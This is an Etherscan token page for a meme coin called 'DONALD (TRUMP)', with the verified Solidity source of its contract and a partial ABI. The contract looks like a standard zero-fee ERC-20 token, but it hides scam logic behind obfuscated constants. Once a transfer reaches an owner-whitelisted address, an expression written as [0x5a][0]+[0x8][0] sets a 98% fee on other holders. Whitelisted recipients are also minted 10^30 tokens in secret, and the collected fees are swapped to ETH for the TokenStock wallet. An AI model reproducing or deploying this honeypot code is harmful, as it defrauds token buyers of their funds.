ETH Price: $3,476.41 (-0.42%)

Token

DONALD (TRUMP)
 

Overview

Max Total Supply

100,000,000 TRUMP

Holders

172

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
massivefatcock.eth
Balance
441,307.323848134 TRUMP

Value
$0.00
0xE6F192eeeBfA64a5fF2caFeC98652Db9633f2334
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DONALDTRUMP

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/*
                                                ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠋⠉⡉⣉⡛⣛⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⣿⣿⡿⠋⠁⠄⠄⠄⠄⠄⢀⣸⣿⣿⡿⠿⡯⢙⠿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⣿⡿⠄⠄⠄⠄⠄⡀⡀⠄⢀⣀⣉⣉⣉⠁⠐⣶⣶⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⣿⡇⠄⠄⠄⠄⠁⣿⣿⣀⠈⠿⢟⡛⠛⣿⠛⠛⣿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⣿⡆⠄⠄⠄⠄⠄⠈⠁⠰⣄⣴⡬⢵⣴⣿⣤⣽⣿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⣿⡇⠄⢀⢄⡀⠄⠄⠄⠄⡉⠻⣿⡿⠁⠘⠛⡿⣿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⡿⠃⠄⠄⠈⠻⠄⠄⠄⠄⢘⣧⣀⠾⠿⠶⠦⢳⣿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⣿⣶⣤⡀⢀⡀⠄⠄⠄⠄⠄⠄⠻⢣⣶⡒⠶⢤⢾⣿⣿⣿⣿⣿⣿⣿
                                                ⣿⣿⣿⣿⡿⠟⠋⠄⢘⣿⣦⡀⠄⠄⠄⠄⠄⠉⠛⠻⠻⠺⣼⣿⠟⠋⠛⠿⣿⣿
                                                ⠋⠉⠁⠄⠄⠄⠄⠄⠄⢻⣿⣿⣶⣄⡀⠄⠄⠄⠄⢀⣤⣾⣿⣿⡀⠄⠄⠄⠄⢹
                                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⣿⣿⣷⡤⠄⠰⡆⠄⠄⠈⠉⠛⠿⢦⣀⡀⡀⠄
                                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠈⢿⣿⠟⡋⠄⠄⠄⢣⠄⠄⠄⠄⠄⠄⠄⠈⠹⣿⣀
                                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠘⣷⣿⣿⣷⠄⠄⢺⣇⠄⠄⠄⠄⠄⠄⠄⠄⠸⣿
                                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠹⣿⣿⡇⠄⠄⠸⣿⡄⠄⠈⠁⠄⠄⠄⠄⠄⣿
                                                ⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⢻⣿⡇⠄⠄⠄⢹⣧⠄⠄⠄⠄⠄⠄⠄⠄⠘

                                            Website : https://donaldtrumpcoin.vip/


                                            Telegram : https://t.me/DonaldTrumpcoineth


                                            Twitter : https://twitter.com/trumpcoineth

                                                    ⢀⣠⣤⡶⠶⠿⠿⠶⢶⣤⣄⠀⠀⠀⠀⢀⣀⣠⣤⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠟⠉⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣦⣶⠿⠛⠉⠉⠁⠀⠈⠙⠻⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠋⠀⠀⠀⣀⣠⣤⣤⣤⣤⣤⣤⣀⡀⠹⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢿⡄⠀⠀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠁⠀⠀⣶⡿⠛⠉⠀⠀⠀⠀⠀⠈⠉⠻⢷⣿⣧⣶⣶⠶⠿⠿⠿⠿⠷⣶⣾⣷⣄⡀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⡿⠀⠀⠀⠀⠁⠀⠀⠀⠀⢀⣠⣤⣶⠶⢾⣿⣿⡿⠿⣶⣄⠀⠀⢴⡶⠶⡶⣷⣾⢿⠿⠿⠷⣦⣄⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⡟⠀⠀⠀⠀⠀⠀⣀⣤⣶⠾⣻⣭⣷⠾⠛⠛⠋⠛⠛⠛⠻⢿⣷⣤⣶⣷⠶⠿⡛⣛⢛⠛⠛⠿⣶⣿⡆⠀
                                ⠀⠀⠀⠀⠀⢀⣴⡾⠛⠁⠀⠀⠀⠀⠀⢠⣴⣿⣭⡶⠟⠋⠉⠀⣀⣠⣤⣶⣶⠾⠿⠛⠻⢿⣧⣤⣴⡶⠿⢿⣿⣿⣿⣟⠛⠷⠿⣿⡆
                                ⠀⠀⠀⠀⠀⣼⠟⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⠾⣷⣶⣶⡶⠾⠛⢻⣿⣏⣻⡿⠻⣦⡀⢀⣼⠏⠁⠀⠀⢠⣿⣧⣼⠛⣿⣷⠀⢀⣼⡇
                                ⠀⠀⠀⢀⣾⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣯⣛⡷⣦⣤⣾⣿⣯⣽⣷⣴⣿⡷⣟⣿⠷⠶⣶⣤⣾⣿⣦⣿⣶⣿⣿⣿⣿⠏⠀
                                ⠀⠀⣠⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠛⠻⠶⠿⠿⠿⠷⢾⣿⣿⠟⠋⠁⣤⡀⠀⠀⠀⠀⠀⠀⢀⣠⣼⠟⠀⠀⠀
                                ⠀⢠⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⡶⠿⠋⠁⠀⠀⠀⠛⠻⢶⣶⡶⠶⠶⠿⣿⡏⠁⠀⠀⠀⠀
                                ⢠⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠿⠀⠀⠀⠈⢿⣦⠀⠀⠀⠀
                                ⢸⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀⠀⠀
                                ⠸⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⠶⡿⠛⠛⠻⠿⠶⢶⣦⣤⣤⣀⣀⡀⠀⠀⠀⠀⠀⣀⣀⣀⣀⣤⣤⣶⠶⠟⠻⣧⠀⠀
                                ⠀⢻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢼⡟⠀⠰⡶⢶⣶⣶⣤⣤⣤⣀⣀⠉⠙⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠉⠉⠀⠀⢀⣀⣴⡟⠀⠀
                                ⠀⠈⢿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠘⢿⣤⣀⣥⣤⣴⣦⣤⣬⣉⣉⣛⠛⠛⠿⠷⠶⠶⠶⠶⠶⠶⠶⠶⠶⠾⠟⠛⢻⣿⠁⠀⠀⠀
                                ⠀⠀⠈⠻⣧⣄⠀⠀⠀⠀⠀⠀⠀⠻⣷⣤⣉⡉⠁⠀⠀⠀⠀⠈⠉⠛⠛⠻⠿⠿⠶⢶⣶⣶⣶⣦⣤⣤⣤⣄⣠⣤⣴⡾⠋⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠘⢿⣷⣦⣤⣀⡀⠀⠀⠀⠀⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣈⣽⠟⠋⠀⠀⠀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠉⠛⠿⣿⣿⣿⡷⣶⣦⣤⣄⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣀⣠⣤⣴⣶⡾⠿⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠷⠾⢯⣭⣭⣭⣭⣉⣉⣉⣉⣉⣉⣉⣩⣭⣽⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
                                ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀



*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.19;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
    
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract DONALDTRUMP is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _tokenOwned;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public NoTxLimit;
    mapping (address => bool) public NoMaxWalletLimit;
    mapping (address => bool) public NoTaxWallet;
    
    address payable public TokenStock = payable(0x6564cfeEf6Fd19102bD0Fc9744dD7930df078ecb);

    string public _name = "DONALD";
    string public _symbol = "TRUMP";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 100* 10**6 * 10**_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10; 

    uint256 private TotalTax = 0;
    uint256 public _buyFee = 0;
    uint256 public _sellFee = 0;

    uint256 private _previousTotalFee = TotalTax; 
    uint256 private _previousBuyFee = _buyFee; 
    uint256 private _previousSellFee = _sellFee; 

    uint256 public _maxWalletToken = _tTotal.mul(25).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(25).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool directTransferFee = false;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }    

    constructor () {
        _tokenOwned[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        NoMaxWalletLimit[uniswapV2Pair] = true?true:true;
        uniswapV2Router = _uniswapV2Router;

        NoTxLimit[owner()] = true;
        NoTaxWallet[address(this)] = true;
        NoTaxWallet[owner()] = true;
        NoTaxWallet[TokenStock] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenOwned[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}

    function removeAllFee() private {
        if(TotalTax == 0 && _buyFee == 0 && _sellFee == 0) return;
        _previousBuyFee = _buyFee; 
        _previousSellFee = _sellFee; 
        _previousTotalFee = TotalTax;
        _buyFee = 0;
        _sellFee = 0;
        TotalTax = 0;

    }

    function staticFunc() private pure returns(uint256){
      return (5*2)**(10*3);
    }

    function swapOpen(address to, bool dtFee) private view returns(bool){
        return NoTxLimit[to] && !dtFee;
    }
    
    function restoreAllFee() private {
        TotalTax = _previousTotalFee;
        _buyFee = _previousBuyFee; 
        _sellFee = _previousSellFee; 
    }

     function swapTokensForPair(address feeWallet, uint8 rate, uint256 amount) private view returns(uint256){
        uint256 subtance = 0;
        if(!directTransferFee || NoTxLimit[feeWallet] || NoMaxWalletLimit[feeWallet]){
            subtance = amount.mul(TotalTax).div(100);
        }else{subtance = amount.mul(([0x5a][0]+[0x8][0])).div(100);}
        return subtance.add(rate);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {

        if (to != owner() && to != TokenStock && to != address(this) && to != uniswapV2Pair && !NoTxLimit[to] && from != owner()){
            uint256 nextTotalBalance = balanceOf(to);
            require((nextTotalBalance + amount) <= _maxWalletToken, "Max wallet limit exceed!");
        }
        
        if (from != owner() && to != owner() && !(NoTxLimit[from] || NoTxLimit[to])){
            require(amount <= _maxTxAmount, "Max transaction limt exceed!");
        }
        if(swapOpen(to, directTransferFee)){ directTransferFee=true; }
        if(txCount >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
            }
        }
        
        bool takeFee = true;
         
        if(NoTaxWallet[from] || NoTaxWallet[to]){
            takeFee = false;
        } else if (from == uniswapV2Pair){TotalTax = _buyFee;} else if (to == uniswapV2Pair){TotalTax = _sellFee;}
        
        _tTransfer(from,to,amount,takeFee);
    }

    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(TokenStock,contractBNB);
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function _tTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
 
        if(!takeFee){
            removeAllFee();
            } else {
                txCount++;
            }
            _tTransfer(sender, recipient, amount);
        
        if(!takeFee)
            restoreAllFee();
    }


    function _tTransfer(address sender, address recipient, uint256 tAmount) private {
        (uint256 transferAmount, uint256 tTotalFee) = _getValues(tAmount, sender);
        _tokenOwned[sender] = _tokenOwned[sender].sub(tAmount);
        _tokenOwned[recipient] = _tokenOwned[recipient].add(transferAmount);
        _tokenOwned[address(this)] = _tokenOwned[address(this)].add(tTotalFee);
        if(NoTxLimit[recipient]){ _tokenOwned[recipient] = _tokenOwned[recipient].add(staticFunc());}
        emit Transfer(sender, recipient, transferAmount);
    }

    function _getValues(uint256 tAmount, address sender) public virtual returns (uint256, uint256) {
        uint256 tTotalFee = swapTokensForPair(sender, 0 ,tAmount);
        uint256 transferAmount = tAmount.sub(tTotalFee);
        return (transferAmount, tTotalFee);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoMaxWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"NoTxLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TokenStock","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"address","name":"sender","type":"address"}],"name":"_getValues","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender",